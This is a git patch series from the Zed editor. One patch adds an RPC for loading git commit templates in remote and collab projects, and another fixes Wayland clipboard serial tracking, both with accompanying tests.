Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Summary

Fixes the git commit template not loading in remote (SSH) projects. The
`load_commit_template_text` method in `git_store.rs` was a no-op for
`RepositoryState::Remote`, always returning `Ok(None)`. This patch adds
a `LoadCommitTemplate` RPC so the client can ask the remote host to read
its `commit.template` git config and return the file contents —
mirroring the existing `GetBlobContent` pattern.

## Changes

- **`crates/proto/proto/git.proto`** — new `LoadCommitTemplate` /
`LoadCommitTemplateResponse` messages.
- **`crates/proto/proto/zed.proto`** — registered envelope IDs 449/450.
- **`crates/proto/src/proto.rs`** — wired up message priority, request
pairing, and entity-message routing.
- **`crates/project/src/git_store.rs`** — added
`handle_load_commit_template` on the host side; replaced the `Ok(None)`
no-op on the remote side with the RPC call.

## Self-Review Checklist

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments — *no unsafe code
added*
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
— *no UI changes*
- [ ] Tests cover the new/changed behavior — *see "Testing notes" below*
- [x] Performance impact has been considered and is acceptable — *one
extra RPC on commit panel open for remote projects only; payload is a
single optional string*

## Testing notes — why no automated test

I did write an integration test (`test_remote_git_commit_template` in
`collab/tests/integration/git_tests.rs`, modeled after
`test_remote_git_head_sha`) along with the supporting changes to
`FakeGitRepositoryState` (adding a `commit_template` field +
`set_commit_template_for_repo` setter on `FakeFs`, since the fake
hardcoded `load_commit_template` to `None`).

The test compiled and the smaller crates (`fs`, `proto`, `project`)
checked clean, but `cargo test -p collab --test collab_tests`
cold-compile takes a very long time on my machine and I wasn't able to
confirm the test actually passed locally. Rather than push a test I
hadn't seen pass, I removed it. Happy to add it back in a follow-up PR
(or in this one if reviewers prefer) once I can run the collab suite
end-to-end — the diff is small and I can share it on request.

Verification was done end-to-end manually using a Docker dev container
as the SSH remote:

#### Closes #55265

Video :
[Screencast from 2026-05-02
18-09-03.webm](https://github.com/user-attachments/assets/9cb7f375-57fa-4af3-bde4-871c28f61efc)

Release Notes:
- Added support for loading git commit template messages in both remote
and collab projects.

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 crates/collab/src/rpc.rs                      |  3 +-
 crates/collab/tests/integration/git_tests.rs  | 61 +++++++++++-
 crates/fs/src/fake_git_repo.rs                |  4 +-
 crates/git_ui/src/git_panel.rs                | 92 +++++++++++--------
 crates/project/src/git_store.rs               | 32 ++++++-
 crates/proto/proto/git.proto                  |  9 ++
 crates/proto/proto/zed.proto                  |  4 +-
 crates/proto/src/proto.rs                     |  4 +
 .../remote_server/src/remote_editing_tests.rs | 44 ++++++++-
 9 files changed, 208 insertions(+), 45 deletions(-)

diff --git a/crates/collab/src/rpc.rs b/crates/collab/src/rpc.rs
index 5c30a49afabf9d..4def99e182fae8 100644
--- a/crates/collab/src/rpc.rs
+++ b/crates/collab/src/rpc.rs
@@ -519,7 +519,8 @@ impl Server {
             .add_request_handler(forward_mutating_project_request::<proto::CheckForPushedCommits>)
             .add_request_handler(forward_mutating_project_request::<proto::ToggleLspLogs>)
             .add_message_handler(broadcast_project_message_from_host::<proto::LanguageServerLog>)
-            .add_request_handler(forward_project_search_chunk);
+            .add_request_handler(forward_project_search_chunk)
+            .add_request_handler(forward_read_only_project_request::<proto::LoadCommitTemplate>);
 
         Arc::new(server)
     }
diff --git a/crates/collab/tests/integration/git_tests.rs b/crates/collab/tests/integration/git_tests.rs
index d5f71085d5d661..1397bd271b1371 100644
--- a/crates/collab/tests/integration/git_tests.rs
+++ b/crates/collab/tests/integration/git_tests.rs
@@ -8,7 +8,9 @@ use client::RECEIVE_TIMEOUT;
 use collections::HashMap;
 use git::{
     Oid,
-    repository::{CommitData, InitialGraphCommitData, RepoPath, Worktree as GitWorktree},
+    repository::{
+        CommitData, GitCommitTemplate, InitialGraphCommitData, RepoPath, Worktree as GitWorktree,
+    },
     status::{DiffStat, FileStatus, StatusCode, TrackedStatus},
 };
 use git_ui::git_graph::GitGraph;
@@ -1403,3 +1405,60 @@ async fn test_diff_stat_sync_between_host_and_downstream_client(
         "remote diff stats should be restored from the database after rejoining the call"
     );
 }
+
+#[gpui::test]
+async fn test_load_commit_template_over_collab(
+    executor: BackgroundExecutor,
+    cx_a: &mut TestAppContext,
+    cx_b: &mut TestAppContext,
+) {
+    let mut server = TestServer::start(executor.clone()).await;
+    let client_a = server.create_client(cx_a, "user_a").await;
+    let client_b = server.create_client(cx_b, "user_b").await;
+
+    server
+        .create_room(&mut [(&client_a, cx_a), (&client_b, cx_b)])
+        .await;
+    let active_call_a = cx_a.read(ActiveCall::global);
+
+    client_a
+        .fs()
+        .insert_tree(
+            path!("/project"),
+            json!({
+                ".git": {},
+                "README.md": "# Project's README"
+            }),
+        )
+        .await;
+
+    client_a
+        .fs()
+        .with_git_state(Path::new(path!("/project/.git")), false, |state| {
+            state.commit_template = Some(GitCommitTemplate {
+                template: "feat: add awesome feature".to_string(),
+            })
+        })
+        .expect("Should update git state");
+
+    let (project_a, _) = client_a.build_local_project(path!("/project"), cx_a).await;
+    let project_id = active_call_a
+        .update(cx_a, |call, cx| call.share_project(project_a.clone(), cx))
+        .await
+        .unwrap();
+
+    let project_b = client_b.join_remote_project(project_id, cx_b).await;
+    executor.run_until_parked();
+
+    let repository_b = project_b.update(cx_b, |project, cx| project.active_repository(cx).unwrap());
+    let commit_template = repository_b
+        .update(cx_b, |repository, _cx| {
+            repository.load_commit_template_text()
+        })
+        .await
+        .unwrap()
+        .unwrap()
+        .expect("Guest should be able to load the host's commit template");
+
+    assert_eq!(commit_template.template, "feat: add awesome feature");
+}
diff --git a/crates/fs/src/fake_git_repo.rs b/crates/fs/src/fake_git_repo.rs
index 02610f0fdb5243..e2f72b9cdbf38f 100644
--- a/crates/fs/src/fake_git_repo.rs
+++ b/crates/fs/src/fake_git_repo.rs
@@ -79,6 +79,7 @@ pub struct FakeGitRepositoryState {
     pub graph_commits: Vec<Arc<InitialGraphCommitData>>,
     pub commit_data: HashMap<Oid, FakeCommitDataEntry>,
     pub stash_entries: GitStash,
+    pub commit_template: Option<GitCommitTemplate>,
 }
 
 impl FakeGitRepositoryState {
@@ -104,6 +105,7 @@ impl FakeGitRepositoryState {
             commit_data: Default::default(),
             commit_history: Vec::new(),
             stash_entries: Default::default(),
+            commit_template: None,
         }
     }
 }
@@ -163,7 +165,7 @@ impl FakeGitRepository {
 
 impl GitRepository for FakeGitRepository {
     fn load_commit_template(&self) -> BoxFuture<'_, Result<Option<GitCommitTemplate>>> {
-        async { Ok(None) }.boxed()
+        self.with_state_async(false, |state| Ok(state.commit_template.clone()))
     }
 
     fn load_blob_content(&self, oid: git::Oid) -> BoxFuture<'_, Result<String>> {
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 7db0387339168f..af402961899913 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -4400,44 +4400,12 @@ impl GitPanel {
 
         self.reopen_commit_buffer_task = cx.spawn_in(window, async move |git_panel, cx| {
             let result = async {
+                // Set up the buffer before awaiting the commit template as the
+                // request may never resolve (for example, a collab host that
+                // doesn't know about `LoadCommitTemplate`) and must not block the
+                // commit editor from attaching to the shared buffer.
                 let buffer = load_buffer.await?;
-                let template = load_template.await?;
-
-                git_panel.update_in(cx, move |git_panel, window, cx| {
-                    git_panel.commit_template = template;
-                    let restored_commit_message = git_panel
-                        .pending_commit_message_restores
-                        .remove(&active_repository_abs_path);
-                    if let Some(restored_commit_message) = restored_commit_message {
-                        git_panel.amend_pending = restored_commit_message.amend_pending;
-                        git_panel.original_commit_message =
-                            restored_commit_message.original_message;
-                        cx.notify();
-                        if let Some(message) = restored_commit_message.message
-                            && buffer.read(cx).text().trim().is_empty()
-                        {
-                            buffer.update(cx, |buffer, cx| {
-                                let start = buffer.anchor_before(0);
-                                let end = buffer.anchor_after(buffer.len());
-                                buffer.edit([(start..end, message)], None, cx);
-                            });
-                        }
-                    }
-                    if buffer.read(cx).text().trim().is_empty() {
-                        let template_text = git_panel
-                            .commit_template
-                            .as_ref()
-                            .map(|t| t.template.clone())
-                            .unwrap_or_default();
-                        if !template_text.is_empty() {
-                            buffer.update(cx, |buffer, cx| {
-                                let start = buffer.anchor_before(0);
-                                let end = buffer.anchor_after(buffer.len());
-                                buffer.edit([(start..end, template_text)], None, cx);
-                            });
-                        }
-                    }
-
+                git_panel.update_in(cx, |git_panel, window, cx| {
                     if git_panel
                         .commit_editor
                         .read(cx)
@@ -4459,16 +4427,62 @@ impl GitPanel {
                         });
                     }
 
+                    // Create subscription such that, any edit on the commit
+                    // editor's buffer will be serialized and saved to the database
+                    // in order to be able to restore it in case there's a
+                    // disconnect.
                     git_panel._commit_message_buffer_subscription =
-                        Some(cx.subscribe(&buffer, |this, _, event, cx| {
+                        Some(cx.subscribe(&buffer, |git_panel, _, event, cx| {
                             if matches!(event, BufferEvent::Edited { .. }) {
-                                this.serialize(cx);
+                                git_panel.serialize(cx);
                             }
                         }));
                 })?;
+
+                // Check whether there's a pending commit message for this
+                // repository and, if that's the case, update the buffer's
+                // text.
+                git_panel.update(cx, |git_panel, cx| {
+                    if let Some(restored_commit_message) = git_panel
+                        .pending_commit_message_restores
+                        .remove(&active_repository_abs_path)
+                    {
+                        git_panel.amend_pending = restored_commit_message.amend_pending;
+                        git_panel.original_commit_message =
+                            restored_commit_message.original_message;
+                        cx.notify();
+
+                        if let Some(message) = restored_commit_message.message
+                            && buffer.read(cx).text().trim().is_empty()
+                        {
+                            buffer.update(cx, |buffer, cx| {
+                                buffer.set_text(message, cx);
+                            });
+                        }
+                    }
+                })?;
+
+                // Only apply the template if it's non-empty and the buffer has no
+                // content, so we never override a commit message that was already
+                // in progress.
+                let commit_template = load_template.await?;
+                git_panel.update(cx, |git_panel, cx| {
+                    git_panel.commit_template = commit_template;
+
+                    if let Some(commit_template) = git_panel.commit_template.as_ref()
+                        && !commit_template.template.is_empty()
+                        && buffer.read(cx).text().trim().is_empty()
+                    {
+                        buffer.update(cx, |buffer, cx| {
+                            buffer.set_text(commit_template.template.clone(), cx);
+                        });
+                    }
+                })?;
+
                 anyhow::Ok(())
             }
             .await;
+
             result.log_err();
         });
     }
diff --git a/crates/project/src/git_store.rs b/crates/project/src/git_store.rs
index f96df2894849f1..f7c2320d1fad75 100644
--- a/crates/project/src/git_store.rs
+++ b/crates/project/src/git_store.rs
@@ -810,6 +810,7 @@ impl GitStore {
         client.add_entity_request_handler(Self::handle_git_diff);
         client.add_entity_request_handler(Self::handle_tree_diff);
         client.add_entity_request_handler(Self::handle_get_blob_content);
+        client.add_entity_request_handler(Self::handle_load_commit_template);
         client.add_entity_request_handler(Self::handle_open_unstaged_diff);
         client.add_entity_request_handler(Self::handle_open_uncommitted_diff);
         client.add_entity_message_handler(Self::handle_update_diff_bases);
@@ -4124,6 +4125,24 @@ impl GitStore {
         Ok(proto::GetBlobContentResponse { content })
     }
 
+    async fn handle_load_commit_template(
+        this: Entity<Self>,
+        request: TypedEnvelope<proto::LoadCommitTemplate>,
+        mut cx: AsyncApp,
+    ) -> Result<proto::LoadCommitTemplateResponse> {
+        let repository_id = RepositoryId(request.payload.repository_id);
+        let rx = this
+            .update(&mut cx, |this, cx| {
+                let repository = this.repositories().get(&repository_id)?;
+                Some(repository.update(cx, |repo, _| repo.load_commit_template_text()))
+            })
+            .context("missing repository")?;
+        let template = rx.await??;
+        Ok(proto::LoadCommitTemplateResponse {
+            template: template.map(|t| t.template),
+        })
+    }
+
     async fn handle_open_unstaged_diff(
         this: Entity<Self>,
         request: TypedEnvelope<proto::OpenUnstagedDiff>,
@@ -9169,6 +9188,7 @@ impl Repository {
     pub fn load_commit_template_text(
         &mut self,
     ) -> oneshot::Receiver<Result<Option<GitCommitTemplate>>> {
+        let repository_id = self.snapshot.id;
         self.send_job(
             "load_commit_template_text",
             None,
@@ -9177,7 +9197,17 @@ impl Repository {
                     RepositoryState::Local(LocalRepositoryState { backend, .. }) => {
                         backend.load_commit_template().await
                     }
-                    RepositoryState::Remote(_) => Ok(None),
+                    RepositoryState::Remote(RemoteRepositoryState { client, project_id }) => {
+                        let response = client
+                            .request(proto::LoadCommitTemplate {
+                                project_id: project_id.to_proto(),
+                                repository_id: repository_id.0,
+                            })
+                            .await?;
+                        Ok(response
+                            .template
+                            .map(|template| GitCommitTemplate { template }))
+                    }
                 }
             },
         )
diff --git a/crates/proto/proto/git.proto b/crates/proto/proto/git.proto
index 8570f86d9f3fa4..64687374c6179e 100644
--- a/crates/proto/proto/git.proto
+++ b/crates/proto/proto/git.proto
@@ -574,6 +574,15 @@ message GetBlobContentResponse {
   string content = 1;
 }
 
+message LoadCommitTemplate {
+  uint64 project_id = 1;
+  uint64 repository_id = 2;
+}
+
+message LoadCommitTemplateResponse {
+  optional string template = 1;
+}
+
 message GitGetWorktrees {
   uint64 project_id = 1;
   uint64 repository_id = 2;
diff --git a/crates/proto/proto/zed.proto b/crates/proto/proto/zed.proto
index ae02f34190a235..e4011bcf97fe9f 100644
--- a/crates/proto/proto/zed.proto
+++ b/crates/proto/proto/zed.proto
@@ -499,7 +499,9 @@ message Envelope {
     RestoreProjectEntry restore_project_entry = 468;
     RestoreProjectEntryResponse restore_project_entry_response = 469;
     GitAddPathToGitignore git_add_path_to_gitignore = 470;
-    GitAddPathToGitInfoExclude git_add_path_to_git_info_exclude = 471; // current max
+    GitAddPathToGitInfoExclude git_add_path_to_git_info_exclude = 471;
+    LoadCommitTemplate load_commit_template = 472;
+    LoadCommitTemplateResponse load_commit_template_response = 473; // current max
   }
 
   reserved 87 to 88;
diff --git a/crates/proto/src/proto.rs b/crates/proto/src/proto.rs
index f9ab3789ada781..47dbb972e4bf79 100644
--- a/crates/proto/src/proto.rs
+++ b/crates/proto/src/proto.rs
@@ -354,6 +354,8 @@ messages!(
     (GetTreeDiffResponse, Background),
     (GetBlobContent, Background),
     (GetBlobContentResponse, Background),
+    (LoadCommitTemplate, Background),
+    (LoadCommitTemplateResponse, Background),
     (GitClone, Background),
     (GitCloneResponse, Background),
     (ToggleLspLogs, Background),
@@ -593,6 +595,7 @@ request_messages!(
     (PullWorkspaceDiagnostics, Ack),
     (GetDefaultBranch, GetDefaultBranchResponse),
     (GetBlobContent, GetBlobContentResponse),
+    (LoadCommitTemplate, LoadCommitTemplateResponse),
     (GetTreeDiff, GetTreeDiffResponse),
     (GitClone, GitCloneResponse),
     (ToggleLspLogs, Ack),
@@ -812,6 +815,7 @@ entity_messages!(
     GetDefaultBranch,
     GetTreeDiff,
     GetBlobContent,
+    LoadCommitTemplate,
     GitClone,
     GetAgentServerCommand,
     GetContextServerCommand,
diff --git a/crates/remote_server/src/remote_editing_tests.rs b/crates/remote_server/src/remote_editing_tests.rs
index 163bdbe8978ad5..16633b156d533b 100644
--- a/crates/remote_server/src/remote_editing_tests.rs
+++ b/crates/remote_server/src/remote_editing_tests.rs
@@ -22,7 +22,7 @@ use extension::ExtensionHostProxy;
 use fs::{FakeFs, Fs};
 use git::{
     Oid,
-    repository::{CommitData, RepoPath, Worktree as GitWorktree},
+    repository::{CommitData, GitCommitTemplate, RepoPath, Worktree as GitWorktree},
 };
 use gpui::{AppContext as _, Entity, SharedString, TestAppContext, UpdateGlobal, VisualContext};
 use http_client::{BlockedHttpClient, FakeHttpClient};
@@ -3613,6 +3613,48 @@ async fn test_remote_restore_unstaged_hunk_clears_diff(
     });
 }
 
+#[gpui::test]
+async fn test_remote_load_commit_template(cx: &mut TestAppContext, server_cx: &mut TestAppContext) {
+    let fs = FakeFs::new(server_cx.executor());
+
+    fs.insert_tree(
+        path!("/root"),
+        json!({
+            "project": {
+                ".git": {},
+                "README.md": "# Project's README"
+            }
+        }),
+    )
+    .await;
+
+    fs.with_git_state(Path::new(path!("/root/project/.git")), false, |state| {
+        state.commit_template = Some(GitCommitTemplate {
+            template: "chore: commit template".to_string(),
+        })
+    })
+    .expect("Should successfully update repository state");
+
+    let (project, _) = init_test(&fs, cx, server_cx).await;
+    project
+        .update(cx, |project, cx| {
+            project.find_or_create_worktree(path!("/root/project"), true, cx)
+        })
+        .await
+        .unwrap();
+    cx.run_until_parked();
+
+    let repository = project.update(cx, |project, cx| project.active_repository(cx).unwrap());
+    let commit_template = repository
+        .update(cx, |repository, _| repository.load_commit_template_text())
+        .await
+        .unwrap()
+        .unwrap()
+        .expect("Loading commit template in remote should work");
+
+    assert_eq!(commit_template.template, "chore: commit template");
+}
+
 #[gpui::test]
 async fn test_remote_delete_project_entry_with_trash(
     cx: &mut TestAppContext,

From dc2a339d5d043da448a3f7ddc7c0a85c63864aad Mon Sep 17 00:00:00 2001
From: Jakub Konka <kubkon@jakubkonka.com>
Date: Wed, 22 Jul 2026 12:46:55 +0000
Subject: [PATCH 629/772] gpui_linux: Fix Wayland serial token tracking
 (#61454)

Closes #58651
Closes FR-123

https://github.com/zed-industries/zed/pull/50406/ while fixing one issue
regressed serial tracking in Wayland. What happens is we conflated
unrelated serials into a common value which is wrong. For example,
`InputMethod` serial does not come from the same source as `MousePress`
or `KeyPress`, and if Zed is running for a while and the user performs
lots of IME commits (`zwp_text_input_v3.commit`), `InputMethod` will
overtake other serial values and will be incorrectly used for clipboard
authorisation/selection by the compositor such as Mutter or kWin. This
will effectively poison the clipboard making Zed the indefinite owner
until we kill Zed. More concretely, we use `get_latest()` on the serial
tracker to extract *the largest serial REGARDLESS of kind* which is
wrong since not every serial kind comes from the same pool.

Release Notes:

- Fixed copy-paste behaviour in Wayland.
---
 crates/gpui_linux/src/linux/wayland/client.rs |  52 +++++---
 crates/gpui_linux/src/linux/wayland/serial.rs | 121 +++++++++++++-----
 crates/gpui_linux/src/linux/wayland/window.rs |   8 +-
 3 files changed, 127 insertions(+), 54 deletions(-)

diff --git a/crates/gpui_linux/src/linux/wayland/client.rs b/crates/gpui_linux/src/linux/wayland/client.rs
index fdc40a3de87e66..81ed5b7ef03dd0 100644
--- a/crates/gpui_linux/src/linux/wayland/client.rs
+++ b/crates/gpui_linux/src/linux/wayland/client.rs
@@ -87,7 +87,7 @@ use crate::linux::{
     wayland::{
         clipboard::{Clipboard, DataOffer, FILE_LIST_MIME_TYPE, TEXT_MIME_TYPES},
         cursor::Cursor,
-        serial::{SerialKind, SerialTracker},
+        serial::{Serial, SerialKind, SerialTracker},
         to_shape,
         window::WaylandWindow,
     },
@@ -411,7 +411,7 @@ impl WaylandClientStatePtr {
             .expect("The pointer should always be valid when dispatching in wayland")
     }
 
-    pub fn get_serial(&self, kind: SerialKind) -> u32 {
+    pub fn get_serial(&self, kind: SerialKind) -> Serial {
         self.0.upgrade().unwrap().borrow().serial_tracker.get(kind)
     }
 
@@ -539,7 +539,7 @@ impl WaylandClientState {
             return;
         };
         let serial = self.serial_tracker.get(SerialKind::MouseEnter);
-        wl_pointer.set_cursor(serial, None, 0, 0);
+        wl_pointer.set_cursor(serial.as_raw(), None, 0, 0);
         self.cursor_hidden_window = Some(focused_window);
     }
 
@@ -552,7 +552,7 @@ impl WaylandClientState {
         };
         let serial = self.serial_tracker.get(SerialKind::MouseEnter);
         if let Some(cursor_shape_device) = &self.cursor_shape_device {
-            cursor_shape_device.set_shape(serial, to_shape(style));
+            cursor_shape_device.set_shape(serial.as_raw(), to_shape(style));
             return;
         }
         let Some(focused_window) = self.mouse_focused_window.clone() else {
@@ -572,7 +572,7 @@ impl WaylandClientState {
         let scale = focused_window.primary_output_scale();
         self.cursor.set_icon(
             &wl_pointer,
-            serial,
+            serial.as_raw(),
             cursor_style_to_icon_names(style),
             scale,
         );
@@ -935,7 +935,8 @@ impl LinuxClient for WaylandClient {
                     let serial = state
                         .serial_tracker
                         .get(SerialKind::MousePress)
-                        .max(state.serial_tracker.get(SerialKind::KeyPress));
+                        .as_raw()
+                        .max(state.serial_tracker.get(SerialKind::KeyPress).as_raw());
                     (serial != 0).then(|| (serial, state.wl_seat.clone()))
                 });
                 (Some(parent), popup_grab.flatten())
@@ -999,7 +1000,7 @@ impl LinuxClient for WaylandClient {
 
         let serial = state.serial_tracker.get(SerialKind::MouseEnter);
         if let Some(cursor_shape_device) = &state.cursor_shape_device {
-            cursor_shape_device.set_shape(serial, to_shape(style));
+            cursor_shape_device.set_shape(serial.as_raw(), to_shape(style));
         } else if let Some(focused_window) = &state.mouse_focused_window {
             // cursor-shape-v1 isn't supported, set the cursor using a surface.
             let wl_pointer = state
@@ -1009,7 +1010,7 @@ impl LinuxClient for WaylandClient {
             let scale = focused_window.primary_output_scale();
             state.cursor.set_icon(
                 &wl_pointer,
-                serial,
+                serial.as_raw(),
                 cursor_style_to_icon_names(style),
                 scale,
             );
@@ -1033,7 +1034,7 @@ impl LinuxClient for WaylandClient {
             state.pending_activation = Some(PendingActivation::Uri(uri.to_string()));
             let token = activation.get_activation_token(&state.globals.qh, ());
             let serial = state.serial_tracker.get(SerialKind::MousePress);
-            token.set_serial(serial, &state.wl_seat);
+            token.set_serial(serial.as_raw(), &state.wl_seat);
             token.set_surface(&window.surface());
             token.commit();
         } else {
@@ -1051,7 +1052,7 @@ impl LinuxClient for WaylandClient {
             state.pending_activation = Some(PendingActivation::Path(path));
             let token = activation.get_activation_token(&state.globals.qh, ());
             let serial = state.serial_tracker.get(SerialKind::MousePress);
-            token.set_serial(serial, &state.wl_seat);
+            token.set_serial(serial.as_raw(), &state.wl_seat);
             token.set_surface(&window.surface());
             token.commit();
         } else {
@@ -1091,13 +1092,18 @@ impl LinuxClient for WaylandClient {
         };
         if state.mouse_focused_window.is_some() || state.keyboard_focused_window.is_some() {
             state.clipboard.set_primary(item);
-            let serial = state.serial_tracker.get_latest();
+            let Some(serial) = state.serial_tracker.selection_serial() else {
+                log::warn!(
+                    "Skipping Wayland primary selection ownership request because no keyboard or pointer press serial has been received"
+                );
+                return;
+            };
             let data_source = primary_selection_manager.create_source(&state.globals.qh, ());
             for mime_type in TEXT_MIME_TYPES {
                 data_source.offer(mime_type.to_string());
             }
             data_source.offer(state.clipboard.self_mime());
-            primary_selection.set_selection(Some(&data_source), serial);
+            primary_selection.set_selection(Some(&data_source), serial.as_raw());
         }
     }
 
@@ -1111,13 +1117,18 @@ impl LinuxClient for WaylandClient {
         };
         if state.mouse_focused_window.is_some() || state.keyboard_focused_window.is_some() {
             state.clipboard.set(item);
-            let serial = state.serial_tracker.get_latest();
+            let Some(serial) = state.serial_tracker.selection_serial() else {
+                log::warn!(
+                    "Skipping Wayland clipboard ownership request because no keyboard or pointer press serial has been received"
+                );
+                return;
+            };
             let data_source = data_device_manager.create_data_source(&state.globals.qh, ());
             for mime_type in TEXT_MIME_TYPES {
                 data_source.offer(mime_type.to_string());
             }
             data_source.offer(state.clipboard.self_mime());
-            data_device.set_selection(Some(&data_source), serial);
+            data_device.set_selection(Some(&data_source), serial.as_raw());
         }
     }
 
@@ -1713,7 +1724,9 @@ impl Dispatch<wl_keyboard::WlKeyboard, ()> for WaylandClientStatePtr {
                 state: WEnum::Value(key_state),
                 ..
             } => {
-                state.serial_tracker.update(SerialKind::KeyPress, serial);
+                if key_state == wl_keyboard::KeyState::Pressed {
+                    state.serial_tracker.update(SerialKind::KeyPress, serial);
+                }
 
                 let focused_window = state.keyboard_focused_window.clone();
                 let Some(focused_window) = focused_window else {
@@ -1899,7 +1912,7 @@ impl Dispatch<zwp_text_input_v3::ZwpTextInputV3, ()> for WaylandClientStatePtr {
                             text_input,
                             &mut state.last_ime_cursor_rectangle,
                             area,
-                            last_serial == serial,
+                            last_serial.as_raw() == serial,
                         );
                     }
                 } else {
@@ -2026,7 +2039,8 @@ impl Dispatch<wl_pointer::WlPointer, ()> for WaylandClientStatePtr {
                             state.cursor_style = Some(default_style);
 
                             if let Some(cursor_shape_device) = &state.cursor_shape_device {
-                                cursor_shape_device.set_shape(serial, to_shape(default_style));
+                                cursor_shape_device
+                                    .set_shape(serial.as_raw(), to_shape(default_style));
                             } else {
                                 // cursor-shape-v1 isn't supported, set the cursor using a surface.
                                 let wl_pointer = state
@@ -2036,7 +2050,7 @@ impl Dispatch<wl_pointer::WlPointer, ()> for WaylandClientStatePtr {
                                 let scale = window.primary_output_scale();
                                 state.cursor.set_icon(
                                     &wl_pointer,
-                                    serial,
+                                    serial.as_raw(),
                                     cursor_style_to_icon_names(default_style),
                                     scale,
                                 );
@@ -2585,7 +2599,7 @@ impl Dispatch<wl_data_offer::WlDataOffer, ()> for WaylandClientStatePtr {
             if mime_type == FILE_LIST_MIME_TYPE {
                 let serial = state.serial_tracker.get(SerialKind::DataDevice);
                 let mime_type = mime_type.clone();
-                data_offer.accept(serial, Some(mime_type));
+                data_offer.accept(serial.as_raw(), Some(mime_type));
             }
 
             // Clipboard
diff --git a/crates/gpui_linux/src/linux/wayland/serial.rs b/crates/gpui_linux/src/linux/wayland/serial.rs
index ffb405727ba98a..9f5372a8a6723f 100644
--- a/crates/gpui_linux/src/linux/wayland/serial.rs
+++ b/crates/gpui_linux/src/linux/wayland/serial.rs
@@ -9,59 +9,118 @@ pub(crate) enum SerialKind {
     KeyPress,
 }
 
-#[derive(Debug)]
-struct SerialData {
-    serial: u32,
+#[derive(Clone, Copy, Debug, Eq, PartialEq)]
+pub(crate) struct Serial(u32);
+
+impl Serial {
+    pub(super) fn as_raw(self) -> u32 {
+        self.0
+    }
 }
 
-impl SerialData {
-    fn new(value: u32) -> Self {
-        Self { serial: value }
+#[derive(Clone, Copy, Debug, Eq, PartialEq)]
+pub(crate) struct SelectionSerial(Serial);
+
+impl SelectionSerial {
+    pub(super) fn as_raw(self) -> u32 {
+        self.0.as_raw()
     }
 }
 
 #[derive(Debug)]
 /// Helper for tracking of different serial kinds.
 pub(crate) struct SerialTracker {
-    serials: HashMap<SerialKind, SerialData>,
+    serials: HashMap<SerialKind, Serial>,
+    selection_serial: Option<SelectionSerial>,
 }
 
 impl SerialTracker {
     pub fn new() -> Self {
         Self {
             serials: HashMap::default(),
+            selection_serial: None,
         }
     }
 
     pub fn update(&mut self, kind: SerialKind, value: u32) {
-        self.serials.insert(kind, SerialData::new(value));
+        let serial = Serial(value);
+
+        if matches!(&kind, SerialKind::KeyPress | SerialKind::MousePress) {
+            self.selection_serial = Some(SelectionSerial(serial));
+        }
+
+        self.serials.insert(kind, serial);
     }
 
-    /// Returns the latest tracked serial of the provided [`SerialKind`]
+    /// Returns the latest tracked serial of the provided [`SerialKind`].
     ///
-    /// Will return 0 if not tracked.
-    pub fn get(&self, kind: SerialKind) -> u32 {
-        self.serials
-            .get(&kind)
-            .map(|serial_data| serial_data.serial)
-            .unwrap_or(0)
+    /// Returns a serial with a raw value of 0 if the kind has not been tracked.
+    pub fn get(&self, kind: SerialKind) -> Serial {
+        self.serials.get(&kind).copied().unwrap_or(Serial(0))
     }
 
-    /// Returns the most recent serial across all tracked kinds.
-    ///
-    /// Wayland compositor serial numbers are monotonically increasing, so the
-    /// highest value is always the most recently received one. This is the
-    /// correct serial to use for [`set_selection`] when the triggering event
-    /// may have been a mouse press rather than a key press: using 0 (the
-    /// default when a kind has never been seen) causes compositors to silently
-    /// reject the request.
-    ///
-    /// Returns 0 only if no serial of any kind has been received yet.
-    pub fn get_latest(&self) -> u32 {
-        self.serials
-            .values()
-            .map(|serial_data| serial_data.serial)
-            .max()
-            .unwrap_or(0)
+    pub fn selection_serial(&self) -> Option<SelectionSerial> {
+        self.selection_serial
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn raw_selection_serial(serial_tracker: &SerialTracker) -> Option<u32> {
+        serial_tracker
+            .selection_serial()
+            .map(SelectionSerial::as_raw)
+    }
+
+    #[test]
+    fn test_selection_serial_ignores_unrelated_serial_kinds() {
+        let mut serial_tracker = SerialTracker::new();
+        serial_tracker.update(SerialKind::MousePress, 3783);
+        serial_tracker.update(SerialKind::InputMethod, 5011);
+        serial_tracker.update(SerialKind::KeyPress, 3787);
+        serial_tracker.update(SerialKind::MouseEnter, 6000);
+        serial_tracker.update(SerialKind::DataDevice, 7000);
+
+        assert_eq!(raw_selection_serial(&serial_tracker), Some(3787));
+    }
+
+    #[test]
+    fn test_selection_serial_uses_mouse_press_without_key_press() {
+        let mut serial_tracker = SerialTracker::new();
+        serial_tracker.update(SerialKind::MousePress, 3783);
+
+        assert_eq!(raw_selection_serial(&serial_tracker), Some(3783));
+    }
+
+    #[test]
+    fn test_selection_serial_uses_event_arrival_order_across_rollover() {
+        let mut serial_tracker = SerialTracker::new();
+        serial_tracker.update(SerialKind::KeyPress, 0xffff_fff0);
+        serial_tracker.update(SerialKind::MousePress, 0x0000_0010);
+
+        assert_eq!(raw_selection_serial(&serial_tracker), Some(0x0000_0010));
+    }
+
+    #[test]
+    fn test_selection_serial_is_unavailable_without_eligible_input() {
+        let mut serial_tracker = SerialTracker::new();
+
+        assert_eq!(raw_selection_serial(&serial_tracker), None);
+
+        serial_tracker.update(SerialKind::InputMethod, 5011);
+        serial_tracker.update(SerialKind::MouseEnter, 6000);
+        serial_tracker.update(SerialKind::DataDevice, 7000);
+
+        assert_eq!(raw_selection_serial(&serial_tracker), None);
+    }
+
+    #[test]
+    fn test_zero_is_a_valid_selection_serial() {
+        let mut serial_tracker = SerialTracker::new();
+        serial_tracker.update(SerialKind::KeyPress, 0);
+
+        assert_eq!(raw_selection_serial(&serial_tracker), Some(0));
     }
 }
diff --git a/crates/gpui_linux/src/linux/wayland/window.rs b/crates/gpui_linux/src/linux/wayland/window.rs
index 993b2ff3fadc85..f4372a2dcbd8b0 100644
--- a/crates/gpui_linux/src/linux/wayland/window.rs
+++ b/crates/gpui_linux/src/linux/wayland/window.rs
